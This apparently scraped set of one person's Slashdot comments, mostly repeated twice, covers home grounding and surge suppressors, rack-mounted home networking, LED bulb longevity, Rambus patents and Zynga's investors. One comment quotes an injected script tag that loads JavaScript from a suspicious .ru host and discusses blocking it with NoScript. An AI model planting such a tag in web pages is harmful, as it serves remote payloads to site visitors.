I don't know if it's the next silicon valley but I had a layover there last Friday and it was hot, hot, hot at a scorching 109 degrees F at around 2PM. Our plane overheated while it was at the terminal.
Hopefully the original poster will see this reply.
Why does Eaton make their suppressors install towards the end of the buss bars? Most every other manufacturer advises to have it installed closest to the service/feeder conductors while making the device's wires as short as possible. Eaton's installation seems to go against this recommendation (furthest away from the service/feeder conductors).
For people who aren't aware, Mike Holt and some moderators for some of his subforums have participated in the definition of the NEC. Mike's Youtube channel gives a glimpse of the process. They readily admit when a rule is dumb but they provide insight on the rationale behind their definition.
explain why a ground rod does not assist in clearing a fault. The problem is not the copper ground rod but the earth itself. A proper grounding conductor is the bare copper wire that's part of the branch circuit wire that eventually goes back to the equipment grounding bar in a sub- or service (main) panel.
Some switches have a grounding terminal at the back. They should go to a ground bar which in turn should bond inside a sub or service panel's grounding bar. For switches that don't have one, just create one and bond it to a ground bar.
Ground rods do not have the proper impedance required for equipment ground--specifically they could prevent a breaker from tripping which would be a very dangerous situation. Ground rods' high impedance as opposed to a proper grounding conductor is why they are only used to mitigate lightning strikes.
If your house is on a concrete slab it would be quite difficult to rewire anything without tearing up lots of sheetrock or lath and plaster.
Damage from a close lightning strike will probably not be mitigated by whole house surge suppressors. But I would still install one. The important point to look for is UL 1449-listed devices. Then at specific locations, install a good surge suppressor. Kinda like computer defense-in-depth. Something from ZeroSurge will help if your home is old and doesn't have ground; otherwise, a normal MOV surge suppressor requires good ground. This would be equipment ground and is not the same as your grounding rods/water pipe ground. The latter are really for lightning strikes. ZeroSurge doesn't use MOVs and don't rely on equipment ground. You may also want to consider getting a line conditioner but I haven't done any research on their viability.
I'm looking at the Leviton 51120. Depending if your house is single or three phase, you'll need to get the right model for the type of service you're receiving. The Leviton is nice because it comes with its own J-box for extra protection. Eaton (Cutler-Hammer) has one but it's normally attached on the bottom of the buss bars while a lot of other companies recommend their TVSSes be installed on a breaker that is the closest to the service conductors. I prefer the standalone devices like the Leviton because they could be installed on any panel instead of a specific brand. The Leviton can also pigtail into an existing breaker. If you have Eaton/Square D QO breakers, you could attach up to 2 hots per breaker.
If you do decide to get one installed, make sure you or the electrician make the conductors as short as possible and don't create too sharp a turn in them.
Maybe you got sick of doing that condo project and you're rejecting racks in a home. I disagree and think a rack mount is essential for a decent sized house with more than 8 drops of cables. Otherwise, you'd get stuff like https://www.reddit.com/r/cablefail
I do agree that rack servers are probably not a good idea since they make a lot of noise due to their use of small fans. The same goes for a lot of rack mounted switches but it's an essential piece of the network infrastructure. Daisy-chaining switches is not a good idea unless you like to bottleneck your bandwidth.
Unless you have an enclosed cabinet with air filters, placing delicate equipment in the garage doesn't seem like a good idea. All that dust and extra heat unless your garage is insulated.
WiFi is adequate if you're forever alone or you're the only one using the spectrum. A home with 2 adults, 2 kids, and a bunch of personal devices that stream media from a central server, dedicated ethernet is the way to go.
My finger points to shoddy installation. People using stab connectors or not twisting wires before putting on wire nuts in J-boxes. You can potentially have a whole chain of unreliable connections from the breaker to the end of the branch circuit. The electronics is probably more susceptible to inconsistent currents than incandescent bulbs.
Our recessed lights in our kitchen seems to not like bulbs and have various brands of CFLs fail within a year or two. They originally came with halogen bulbs. But two bulbs have worked for years in a desk lamp.
People have gotten used to cheap crap from China that we automatically distrust the longevity claims. So if you have a choice, what would one do? Buy cheap $5 bulbs from China or this one for $60. If Philips were to have a guarantee and we could swap out bulbs then we're talking. I would love to support Made in USA for stuff that works but the distrust is there by all mere saturation of the low quality stuff for years.
So looks like the injected code
</DIV> <!-- END body-wrapper -->
<script src="http://ionis90landsi.rr.ru/mm.php?=1"></script>
</BODY>
</HTML>
would be take care of with NoScript as long as your white list is short and doesn't contain rr.nu in this example.
That's why you get the gold which allows all your minutes to carry over for an entire year. After which you just need to add a minimum of $10 to carry over for another year. You can also buy these $100 recharges on e-Bay for less than $100.
I'm interested because it appears to have limited USB support--UHCI only, no OHCI, EHCI, or xHCI. There is also TCP/IP. The last remaining feature that would be very useful is AHCI support.
I think they're experts in routing cables in very tight and uncomfortable spaces like attics and crawl spaces. They would often want to route stuff directly through a wall rather than in-wall because it's the easier to do the former. But I appreciate their expertise in this area. Connecting stuff to MPOEs and NIDs they definitely know that stuff. How to tell if the wiring into a premises are electrical or telco, yup. Splicing fiber, definitely. I'm surprised they're paid that low because I've asked a contractor how much it would cost to route networking and video cables in a home and I was quoted $4500 for 20 drops.
But in terms of hooking stuff to an enterprise switch, I have doubts most of them know about VLANs and stuff like that.
The JEDEC did not kick Rambus out of the organization. Rambus participated in the SDRAM talks but they didn't like JEDEC's terms. They filed submarine patents while participating in the standards discussions, withdrew from JEDEC and then started suing various manufacturers.
"Here's the list of investors. I did not include all of the mutual fund holdings because there are dozens:
Google Inc. SOFTBANK CORP. DAG Ventures Limited SB Asia Pacific Investments Limited Digital Sky Technologies Limited DST Global Limited Kleiner Perkins Caufield & Byers Fenwick & West LLP Institutional Venture Partners XII, L.P. Union Square Ventures 2004, LP Union Square Principals 2004, LLC PG Ventures, Inc. Foundry Venture Capital 2007, L.P. F&W Investments LLC-Series 2007 Laird H. Simons, III Theodore H. Pincus Declaration of Trust Dated June 10, 1992 Archimedes Capital Reid Hoffman Paul Martino The Dâ(TM)Anconia Trust Peter Thiel Avalon Ventures VIII, LP Gary Leff European Founders Fund GmbH & Co. Kardinal--Faulhaber"
But by allowing a shoddily-engineered product to run Android, Google is actually allowing their brand to be tarnished. People with these phones who experience glitches will blame either the phone manufacturer, Google, or both.
Slashdot Mirror
I don't know if it's the next silicon valley but I had a layover there last Friday and it was hot, hot, hot at a scorching 109 degrees F at around 2PM. Our plane overheated while it was at the terminal.
One thing I'd like to do is to have OpenRADIUS running on a Pi. I'm concerned whether if a Pi has the horsepower for it, much less an Arduino.
Hopefully the original poster will see this reply.
Why does Eaton make their suppressors install towards the end of the buss bars? Most every other manufacturer advises to have it installed closest to the service/feeder conductors while making the device's wires as short as possible. Eaton's installation seems to go against this recommendation (furthest away from the service/feeder conductors).
For people who aren't aware, Mike Holt and some moderators for some of his subforums have participated in the definition of the NEC. Mike's Youtube channel gives a glimpse of the process. They readily admit when a rule is dumb but they provide insight on the rationale behind their definition.
http://www.mikeholt.com/technical.php?id=grounding/unformatted/Groundrodfault&type=u&title=Ground%20Rod%20Does%20Not%20Assist%20in%20Clearing%20a%20Fault%20(01-25-2K) http://forums.mikeholt.com/showthread.php?t=107483&page=2 and http://forums.mikeholt.com/showthread.php?t=139984&page=6
explain why a ground rod does not assist in clearing a fault. The problem is not the copper ground rod but the earth itself. A proper grounding conductor is the bare copper wire that's part of the branch circuit wire that eventually goes back to the equipment grounding bar in a sub- or service (main) panel.
Some switches have a grounding terminal at the back. They should go to a ground bar which in turn should bond inside a sub or service panel's grounding bar. For switches that don't have one, just create one and bond it to a ground bar.
Ground rods do not have the proper impedance required for equipment ground--specifically they could prevent a breaker from tripping which would be a very dangerous situation. Ground rods' high impedance as opposed to a proper grounding conductor is why they are only used to mitigate lightning strikes.
If your house is on a concrete slab it would be quite difficult to rewire anything without tearing up lots of sheetrock or lath and plaster.
http://www.mikeholt.com/mojonewsarchive/LSP-HTML/HTML/TVSS-Protection-Questions-and-Answers~20040708.php
Those guys know their electricals.
Damage from a close lightning strike will probably not be mitigated by whole house surge suppressors. But I would still install one. The important point to look for is UL 1449-listed devices. Then at specific locations, install a good surge suppressor. Kinda like computer defense-in-depth. Something from ZeroSurge will help if your home is old and doesn't have ground; otherwise, a normal MOV surge suppressor requires good ground. This would be equipment ground and is not the same as your grounding rods/water pipe ground. The latter are really for lightning strikes. ZeroSurge doesn't use MOVs and don't rely on equipment ground. You may also want to consider getting a line conditioner but I haven't done any research on their viability.
I'm looking at the Leviton 51120. Depending if your house is single or three phase, you'll need to get the right model for the type of service you're receiving. The Leviton is nice because it comes with its own J-box for extra protection. Eaton (Cutler-Hammer) has one but it's normally attached on the bottom of the buss bars while a lot of other companies recommend their TVSSes be installed on a breaker that is the closest to the service conductors. I prefer the standalone devices like the Leviton because they could be installed on any panel instead of a specific brand. The Leviton can also pigtail into an existing breaker. If you have Eaton/Square D QO breakers, you could attach up to 2 hots per breaker.
If you do decide to get one installed, make sure you or the electrician make the conductors as short as possible and don't create too sharp a turn in them.
Maybe you got sick of doing that condo project and you're rejecting racks in a home. I disagree and think a rack mount is essential for a decent sized house with more than 8 drops of cables. Otherwise, you'd get stuff like https://www.reddit.com/r/cablefail
I do agree that rack servers are probably not a good idea since they make a lot of noise due to their use of small fans. The same goes for a lot of rack mounted switches but it's an essential piece of the network infrastructure. Daisy-chaining switches is not a good idea unless you like to bottleneck your bandwidth.
Unless you have an enclosed cabinet with air filters, placing delicate equipment in the garage doesn't seem like a good idea. All that dust and extra heat unless your garage is insulated.
WiFi is adequate if you're forever alone or you're the only one using the spectrum. A home with 2 adults, 2 kids, and a bunch of personal devices that stream media from a central server, dedicated ethernet is the way to go.
My finger points to shoddy installation. People using stab connectors or not twisting wires before putting on wire nuts in J-boxes. You can potentially have a whole chain of unreliable connections from the breaker to the end of the branch circuit. The electronics is probably more susceptible to inconsistent currents than incandescent bulbs.
Our recessed lights in our kitchen seems to not like bulbs and have various brands of CFLs fail within a year or two. They originally came with halogen bulbs. But two bulbs have worked for years in a desk lamp.
People have gotten used to cheap crap from China that we automatically distrust the longevity claims. So if you have a choice, what would one do? Buy cheap $5 bulbs from China or this one for $60. If Philips were to have a guarantee and we could swap out bulbs then we're talking. I would love to support Made in USA for stuff that works but the distrust is there by all mere saturation of the low quality stuff for years.
So looks like the injected code
</DIV> <!-- END body-wrapper -->
<script src="http://ionis90landsi.rr.ru/mm.php?=1"></script>
</BODY>
</HTML>
would be take care of with NoScript as long as your white list is short and doesn't contain rr.nu in this example.
That's why you get the gold which allows all your minutes to carry over for an entire year. After which you just need to add a minimum of $10 to carry over for another year. You can also buy these $100 recharges on e-Bay for less than $100.
Or driven by jealousy/sour grapes. I sure didn't have the discipline to do what she did when I was her age.
According to Alexa, Reddit is ranked 115; Slashdot is 1701.
I'm interested because it appears to have limited USB support--UHCI only, no OHCI, EHCI, or xHCI. There is also TCP/IP. The last remaining feature that would be very useful is AHCI support.
I think they're experts in routing cables in very tight and uncomfortable spaces like attics and crawl spaces. They would often want to route stuff directly through a wall rather than in-wall because it's the easier to do the former. But I appreciate their expertise in this area. Connecting stuff to MPOEs and NIDs they definitely know that stuff. How to tell if the wiring into a premises are electrical or telco, yup. Splicing fiber, definitely. I'm surprised they're paid that low because I've asked a contractor how much it would cost to route networking and video cables in a home and I was quoted $4500 for 20 drops.
But in terms of hooking stuff to an enterprise switch, I have doubts most of them know about VLANs and stuff like that.
Here is more detailed info on these "losses."
http://www.reddit.com/r/politics/comments/npj2q/godaddy_lost_21000_domains_yesterday/c3ay6yu?context=3
Daily changes http://www.reddit.com/r/politics/comments/npj2q/godaddy_lost_21000_domains_yesterday/c3ay675
The JEDEC did not kick Rambus out of the organization. Rambus participated in the SDRAM talks but they didn't like JEDEC's terms. They filed submarine patents while participating in the standards discussions, withdrew from JEDEC and then started suing various manufacturers.
If SCO can last nearly a decade I'm not surprised Rambus's lawsuits would last as long if not longer.
Very easy information to get:
Board of Zynga http://company.zynga.com/node/876:
Mark Pincus
Zynga CEO and Founder
Bing Gordon
Kleiner Perkins Caufield & Byers Partner
Brad Feld
Foundry Group Managing Director
Jeffrey Katzenberg
CEO of DreamWorks Animation
John Schappert
Director and Chief Operating Officer
Owen Van Natta
Director and Chief Business Officer
Reid Hoffman
LinkedIn founder and Executive Chairman
Stanley J. Meresman
Director
Investors: http://allthingsd.com/20110718/zynga-updates-ipo-filing-to-list-investors-and-googles-one-of-them/
"Here's the list of investors. I did not include all of the mutual fund holdings because there are dozens:
Google Inc.
SOFTBANK CORP.
DAG Ventures Limited
SB Asia Pacific Investments Limited
Digital Sky Technologies Limited
DST Global Limited
Kleiner Perkins Caufield & Byers
Fenwick & West LLP
Institutional Venture Partners XII, L.P.
Union Square Ventures 2004, LP
Union Square Principals 2004, LLC
PG Ventures, Inc.
Foundry Venture Capital 2007, L.P.
F&W Investments LLC-Series 2007
Laird H. Simons, III
Theodore H. Pincus Declaration of
Trust Dated June 10, 1992
Archimedes Capital
Reid Hoffman
Paul Martino
The Dâ(TM)Anconia Trust
Peter Thiel
Avalon Ventures VIII, LP
Gary Leff
European Founders Fund GmbH & Co.
Kardinal--Faulhaber"
Next thing you know, their employees would be asked to pay back portions of their salaries that management thought are undeserved.
But by allowing a shoddily-engineered product to run Android, Google is actually allowing their brand to be tarnished. People with these phones who experience glitches will blame either the phone manufacturer, Google, or both.